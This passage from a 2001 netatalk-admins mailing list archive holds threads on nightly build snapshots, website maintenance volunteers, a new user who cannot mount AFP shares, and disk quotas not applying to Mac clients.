	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA12795
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 10:41:14 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f6DEfLD27200;
	Fri, 13 Jul 2001 10:41:21 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B4F08B4.D4D7D643@univrel.pr.uconn.edu>
Date: Fri, 13 Jul 2001 10:41:56 -0400
From: Jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-20mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Joe Clarke <marcus@marcuscom.com>
CC: "Troy R. Baldwin" <tbaldwin@htc.net>, roger.day@globalgraphics.com,
        netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
References: <20010713095215.J24999-100000@shumai.marcuscom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Joe Clarke wrote:
> 
> Right, but I think this is _just_ a CVS snapshot.  What I was referring to
> was a buildable snapshot where autogen.sh was already run.  This would
> help the people that don't have the auto* tools installed.

Ah. Definately sounds like a good idea.

Would you, or anyone else on the list, be interested in administering
and maintaining the netatalk website? It is sorely out of date, and I
don't have the spare time to keep it up to date. (please make sure you
have a sourceforge.net account if you plan on working on it)

Thanks,
Jeff

From netatalk.administrators-errors@umich.edu  Fri Jul 13 11:45:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13209
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 11:45:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA07356
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 11:45:04 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA29147
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 10:53:37 -0400 (EDT)
Received: from shumai.marcuscom.com (rdu26-228-058.nc.rr.com [66.26.228.58])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA29101
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 10:53:35 -0400 (EDT)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.3/8.11.3) with ESMTP id f6DErNo25156;
	Fri, 13 Jul 2001 10:53:23 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Fri, 13 Jul 2001 10:53:23 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: Jeff <jeff@univrel.pr.uconn.edu>
cc: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
In-Reply-To: <3B4F08B4.D4D7D643@univrel.pr.uconn.edu>
Message-ID: <20010713105156.M25152-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Honestly, my website design skills are lacking, but I would be willing to
maintain an FTP site with nightly builds.  Also, if no one minds a less
than flashy website, I guess I could take that as well.

Joe Clarke

On Fri, 13 Jul 2001, Jeff wrote:

> Joe Clarke wrote:
> >
> > Right, but I think this is _just_ a CVS snapshot.  What I was referring to
> > was a buildable snapshot where autogen.sh was already run.  This would
> > help the people that don't have the auto* tools installed.
>
> Ah. Definately sounds like a good idea.
>
> Would you, or anyone else on the list, be interested in administering
> and maintaining the netatalk website? It is sorely out of date, and I
> don't have the spare time to keep it up to date. (please make sure you
> have a sourceforge.net account if you plan on working on it)
>
> Thanks,
> Jeff
>
>


From netatalk.administrators-errors@umich.edu  Fri Jul 13 17:16:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA22913
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 17:16:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA15719
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 17:16:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA15706
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 17:16:44 -0400 (EDT)
Received: from ac.housing.berkeley.edu (ac.Housing.Berkeley.EDU [169.229.70.202])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA15675
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 17:16:43 -0400 (EDT)
Received: from localhost (gabe@localhost)
	by ac.housing.berkeley.edu (8.9.3/8.9.3) with ESMTP id OAA05711
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 14:16:43 -0700
Date: Fri, 13 Jul 2001 14:16:43 -0700 (PDT)
From: Gabe Green <gabe@ac.housing.berkeley.edu>
To: netatalk-admins@umich.edu
Subject: new user can't mount shares
Message-ID: <Pine.LNX.4.10.10107131413170.5705-100000@ac.housing.berkeley.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Please pardon me for asking such a seemingly simple question --

Our principal netatalk admin is out on vacation.  What are the proper
steps for getting netatalk to recognize a new user, besides making the
appropriate entries in /etc/passwd and /etc/group?  I added a new user -
samba shares the files fine.  But netatalk (on our Macs) say "wrong
password" when I try to mount the specific share.  any ideas, anyone?  I
tried restarting atalkd, no luck.

thanks,
Gabe

==============================================================================
 gabe green                      University of California at Berkeley
 systems administrator           Residential and Student Service Programs
 gabe@ac.housing.berkeley.edu    tel: 510-643-6987 fax: 510-643-7278
 2510 Channing Way Suite 10      http://ac.housing.berkeley.edu/
 Berkeley, CA 94720


From netatalk.administrators-errors@umich.edu  Fri Jul 13 20:58:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA28709
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 20:58:09 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA12879
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 20:58:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA12863
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 20:58:08 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA12829
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 20:58:07 -0400 (EDT)
Received: from ns10-n67-038.de.inter.net ([213.73.67.38] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15LDkz-0000LJ-00
	for netatalk-admins@umich.edu; Sat, 14 Jul 2001 02:58:05 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id CAA03385
	for <netatalk-admins@umich.edu>; Sat, 14 Jul 2001 02:55:54 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: new user can't mount shares
Date: Sat, 14 Jul 2001 02:37:41 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.LNX.4.10.10107131413170.5705-100000@ac.housing.berkeley.edu>
In-Reply-To: <Pine.LNX.4.10.10107131413170.5705-100000@ac.housing.berkeley.edu>
MIME-Version: 1.0
Message-Id: <01071402555400.01000@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id UAA28709

On Fri, 13 Jul 2001, Gabe Green wrote:
> Please pardon me for asking such a seemingly simple question --
> 
> Our principal netatalk admin is out on vacation.  What are the proper
> steps for getting netatalk to recognize a new user, besides making the
> appropriate entries in /etc/passwd and /etc/group?  I added a new user -
> samba shares the files fine.  But netatalk (on our Macs) say "wrong
> password" when I try to mount the specific share.  any ideas, anyone?  I
> tried restarting atalkd, no luck.
> 
> thanks,
> Gabe

In general, restarting only `atalkd' won't help.
When you changed some configurations, you (probably) will need to restart `afpd' also.
`<path-to-your-start-stop-scripts>/atalk restart' should do this.
The real pathname depends on your OS, distribution and version.
But I don't know if this will solve your problem.
Certain older versions of netatalk also had case-sensitivity of user names.
Is your (possible) NIS database up-to-date? (I don't know if netatalk and samba handle this
differently.)
If the problem persists, you have to tell what OS (distribution+version) and netatalk version you
use.

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Jul 13 21:20:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA29344
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 21:20:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA18725
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 21:20:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA18710
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 21:20:22 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA18680
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 21:20:21 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f6E1KJ329713
	for <netatalk-admins@umich.edu>; Sat, 14 Jul 2001 03:20:19 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f6E1K2928054
	for netatalk-admins@umich.edu; Sat, 14 Jul 2001 03:20:02 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.22 #1 (Debian))
	id 15KziL-0000Re-00; Fri, 13 Jul 2001 11:58:25 +0200
Date: Fri, 13 Jul 2001 11:58:24 +0200
From: Sebastian Rittau <srittau@jroger.in-berlin.de>
To: "Troy R. Baldwin" <tbaldwin@htc.net>
Cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
Message-ID: <20010713115824.A1122@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3B4E5D18.B32299FA@htc.net>
User-Agent: Mutt/1.3.18i

On Thu, Jul 12, 2001 at 09:29:45PM -0500, Troy R. Baldwin wrote:

> What if one does not know how to use CVS? It sure would be nice if
> there were a regular beta release or something we can easily compile
> and use.

There are the so-called "pre"-releases, which is just a different
name than "beta"-release.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sat Jul 14 04:50:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA09224
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 14 Jul 2001 04:50:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA08738
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 14 Jul 2001 04:50:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA08722
	for netatalk.administrators-members@umich.edu; Sat, 14 Jul 2001 04:50:21 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA08691
	for <netatalk-admins@umich.edu>; Sat, 14 Jul 2001 04:50:19 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f6E8oIS23285
	for <netatalk-admins@umich.edu>; Sat, 14 Jul 2001 10:50:19 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f6E8o1112014
	for netatalk-admins@umich.edu; Sat, 14 Jul 2001 10:50:01 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.22 #1 (Debian))
	id 15LEMc-0001RK-00; Sat, 14 Jul 2001 03:36:58 +0200
Date: Sat, 14 Jul 2001 03:36:57 +0200
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
Message-ID: <20010714033657.A5260@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu,
	netatalk-devel@lists.sourceforge.net
References: <20010713105156.M25152-100000@shumai.marcuscom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20010713105156.M25152-100000@shumai.marcuscom.com>
User-Agent: Mutt/1.3.18i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Fri, Jul 13, 2001 at 10:53:23AM -0400, Joe Clarke wrote:

> Also, if no one minds a less than flashy website, I guess I could
> take that as well.

I would volunteer to help you.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sat Jul 14 14:30:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA25378
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 14 Jul 2001 14:30:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA20853
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 14 Jul 2001 14:30:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA20839
	for netatalk.administrators-members@umich.edu; Sat, 14 Jul 2001 14:30:31 -0400 (EDT)
Received: from shumai.marcuscom.com (rdu26-228-058.nc.rr.com [66.26.228.58])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA20812
	for <netatalk-admins@umich.edu>; Sat, 14 Jul 2001 14:30:30 -0400 (EDT)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.3/8.11.3) with ESMTP id f6EIUVa04476;
	Sat, 14 Jul 2001 14:30:31 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Sat, 14 Jul 2001 14:30:31 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
cc: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
In-Reply-To: <20010714033657.A5260@jroger.in-berlin.de>
Message-ID: <20010714143005.J4469-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Let's do it, then.  Jeff, you mentioned setting up a place to post daily
CVS snaps...?  I have the script ready to generate the builds.

Joe Clarke

On Sat, 14 Jul 2001, Sebastian Rittau wrote:

> On Fri, Jul 13, 2001 at 10:53:23AM -0400, Joe Clarke wrote:
>
> > Also, if no one minds a less than flashy website, I guess I could
> > take that as well.
>
> I would volunteer to help you.
>
>  - Sebastian
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> http://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Sun Jul 15 09:10:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA19959
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 15 Jul 2001 09:10:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA10669
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 15 Jul 2001 09:10:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10662
	for netatalk.administrators-members@umich.edu; Sun, 15 Jul 2001 09:10:33 -0400 (EDT)
Received: from igor.urz.unibas.ch (igor.urz.unibas.ch [131.152.1.3])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA10634
	for <netatalk-admins@umich.edu>; Sun, 15 Jul 2001 09:10:31 -0400 (EDT)
Received: from MATTHIAS (balcab-1-64.balcab.unibas.ch [131.152.29.64])
 by igor.urz.unibas.ch (PMDF V6.0-24 #41480)
 with SMTP id <0GGI009KUN9IV8@igor.urz.unibas.ch> for
 netatalk-admins@umich.edu; Sun, 15 Jul 2001 15:10:30 +0200 (MET DST)
Date: Sun, 15 Jul 2001 15:12:03 +0200
From: Matthias Studer <matthias.studer@unibas.ch>
Subject: User Quotas
To: Netatalk <netatalk-admins@umich.edu>
Message-id: <005e01c10d2f$bd942070$fe78a8c0@MATTHIAS>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2465.0003
X-Mailer: Microsoft Outlook Express 6.00.2465.0003
Content-type: multipart/alternative;
 boundary="----=_NextPart_000_005B_01C10D40.80DFC060"
X-Priority: 3
X-MSMail-priority: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_005B_01C10D40.80DFC060
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all.

We have a SCSI - Software RAID level 5 RedHat 7.0 FileServer with Samba =
and netatalk-1.5pre6-1rh7.i386 (comes with RedHat) running.
Every user has a disk limit of 1GB (Disk Quota) and no file limit. For =
users who access the server with Windows (Samba) and with Linux /UNIX =
(SGI IRIX) Disk Quota just works fine but all our Apple Users have no =
limits! In their AppleShare windows they see the whole disk (RIAD) size =
(2TB)!
I also tried to reduce the limit to 1MB and then uploadet a file with 2 =
MB : no error message!=20
Have I missed something?  Anyone else with this problem?

TIA

Matthew

---------------------------------------------
Matthew Studer

Pharmacenter - Institut of Molecular Pharmacy
University of Basel

Klingelbergstrasse 50
CH-4056 Basel

http://www.pharma.unibas.ch


------=_NextPart_000_005B_01C10D40.80DFC060
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2465.3" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi all.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>We have a SCSI - Software RAID level 5 =
RedHat 7.0=20
FileServer with Samba and netatalk-1.5pre6-1rh7.i386 (comes with RedHat) =

running.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Every user has a disk limit of 1GB =
(Disk Quota) and=20
no file limit. For users who access the server with Windows (Samba) and =
with=20
Linux /UNIX (SGI IRIX) Disk Quota just works fine but all our Apple =
Users have=20
no limits! In their AppleShare windows they see the whole disk (RIAD) =
size=20
(2TB)!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I also tried to reduce the limit to 1MB =
and then=20
uploadet a file with 2 MB : no error message! </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Have I missed something?&nbsp; Anyone =
else with=20
this problem?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>TIA</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Matthew</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>---------------------------------------------<BR>Matthew Studer
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Pharmacenter - Institut of Molecular=20
Pharmacy<BR>University of Basel</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Klingelbergstrasse 50<BR>CH-4056 =
Basel</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.pharma.unibas.ch">http://www.pharma.unibas.ch</A></FON=
T></DIV>
<DIV><FONT face=3DArial =
size=3D2></FONT>&nbsp;</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_005B_01C10D40.80DFC060--


From netatalk.administrators-errors@umich.edu  Sun Jul 15 09:32:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA20572
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 15 Jul 2001 09:32:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA06158
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 15 Jul 2001 09:32:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA06149
	for netatalk.administrators-members@umich.edu; Sun, 15 Jul 2001 09:32:29 -0400 (EDT)
Received: from mmb.bme.wisc.edu (mmb.bme.wisc.edu [144.92.12.200])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA06135
	for <netatalk-admins@umich.edu>; Sun, 15 Jul 2001 09:32:29 -0400 (EDT)
Received: from localhost (hzeringu@localhost)
	by mmb.bme.wisc.edu (8.9.3/8.9.3) with ESMTP id IAA17700;
	Sun, 15 Jul 2001 08:36:59 -0500
Date: Sun, 15 Jul 2001 08:36:59 -0500 (CDT)
From: Henry Gripp Zeringue <hzeringu@mmb.bme.wisc.edu>
To: Matthias Studer <matthias.studer@unibas.ch>
cc: Netatalk <netatalk-admins@umich.edu>
Subject: Re: User Quotas
In-Reply-To: <005e01c10d2f$bd942070$fe78a8c0@MATTHIAS>
Message-ID: <Pine.LNX.4.30.0107150834060.17675-100000@mmb.bme.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I'm running netatalk-1.4b2+asun2.1.3-7 on a RedHat 6.1 server and the
quota works over netatlk. My mac is only seeing 2.12 Gb (remaining from a
4 Gb quota) available when the drive has about 6 Gb free.

-gripp

On Sun, 15 Jul 2001, Matthias Studer wrote:

> Hi all.
>
> We have a SCSI - Software RAID level 5 RedHat 7.0 FileServer with Samba and netatalk-1.5pre6-1rh7.i386 (comes with RedHat) running.
> Every user has a disk limit of 1GB (Disk Quota) and no file limit. For users who access the server with Windows (Samba) and with Linux /UNIX (SGI IRIX) Disk Quota just works fine but all our Apple Users have no limits! In their AppleShare windows they see the whole disk (RIAD) size (2TB)!
> I also tried to reduce the limit to 1MB and then uploadet a file with 2 MB : no error message!
> Have I missed something?  Anyone else with this problem?
>
> TIA
>
> Matthew
>
> ---------------------------------------------
> Matthew Studer
>
> Pharmacenter - Institut of Molecular Pharmacy
> University of Basel
>
> Klingelbergstrasse 50
> CH-4056 Basel
>
> http://www.pharma.unibas.ch
>
>

-- 
---------------------------------------------
Henry 'Gripp' Zeringue	Home:	(608)260-8098
Biomedical Engineering	Office:	(608)262-8212
1410 Engineering Dr.	Lab:	(608)262-3013
Madison, WI 53706-1608	Fax:	(608)265-9239
hzeringu@cae.wisc.edu
---------------------------------------------


From netatalk.administrators-errors@umich.edu  Sun Jul 15 19:10:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA00653
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 15 Jul 2001 19:10:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA16751
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 15 Jul 2001 19:10:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA16744
	for netatalk.administrators-members@umich.edu; Sun, 15 Jul 2001 19:10:24 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA16703
	for <netatalk-admins@umich.edu>; Sun, 15 Jul 2001 19:10:21 -0400 (EDT)
Received: (qmail 23862 invoked from network); 16 Jul 2001 19:11:35 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 16 Jul 2001 19:11:35 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: new user can't mount shares
Date: Mon, 16 Jul 2001 09:09:40 +1000
Message-ID: <001901c10d83$3a510670$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <01071402555400.01000@athlet>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

I have experienced similar problems here, but only on specific macs. Not
being a mac guru, i think that it's something to do with macs limited
support for encrypted passwords. by default, macs only support unencrypted
passwords shorter than ?? chars. Try using a shorter password, and seeing
how you go. Other than that, update software on the macs, again, no idea how
you might go about this.

YMMV. Worked for me.

-----Original Message-----
From: Carsten Neumann [mailto:deltor@snafu.de]
Sent: Saturday, 14 July 2001 10:38
To: netatalk-admins@umich.edu
Subject: Re: new user can't mount shares


On Fri, 13 Jul 2001, Gabe Green wrote:
> Please pardon me for asking such a seemingly simple question --
>
> Our principal netatalk admin is out on vacation.  What are the proper
> steps for getting netatalk to recognize a new user, besides making the
> appropriate entries in /etc/passwd and /etc/group?  I added a new user -
> samba shares the files fine.  But netatalk (on our Macs) say "wrong
> password" when I try to mount the specific share.  any ideas, anyone?  I
> tried restarting atalkd, no luck.
>
> thanks,
> Gabe

In general, restarting only `atalkd' won't help.
When you changed some configurations, you (probably) will need to restart
`afpd' also.
`<path-to-your-start-stop-scripts>/atalk restart' should do this.
The real pathname depends on your OS, distribution and version.
But I don't know if this will solve your problem.
Certain older versions of netatalk also had case-sensitivity of user names.
Is your (possible) NIS database up-to-date? (I don't know if netatalk and
samba handle this
differently.)
If the problem persists, you have to tell what OS (distribution+version) and
netatalk version you
use.

Regards

	Carsten



From netatalk.administrators-errors@umich.edu  Mon Jul 16 01:18:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA10077
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 01:18:33 -0400 (EDT)
Received: (from daemon@localhost)
